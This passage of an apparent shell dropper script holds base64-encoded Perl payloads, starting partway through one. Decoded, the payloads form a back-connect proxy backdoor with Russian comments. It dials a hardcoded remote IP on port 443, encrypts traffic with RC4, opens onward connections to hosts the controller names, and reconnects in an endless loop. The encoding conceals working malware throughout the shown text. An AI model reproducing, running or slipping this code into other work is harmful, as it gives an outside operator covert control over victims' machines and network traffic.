0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_31() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
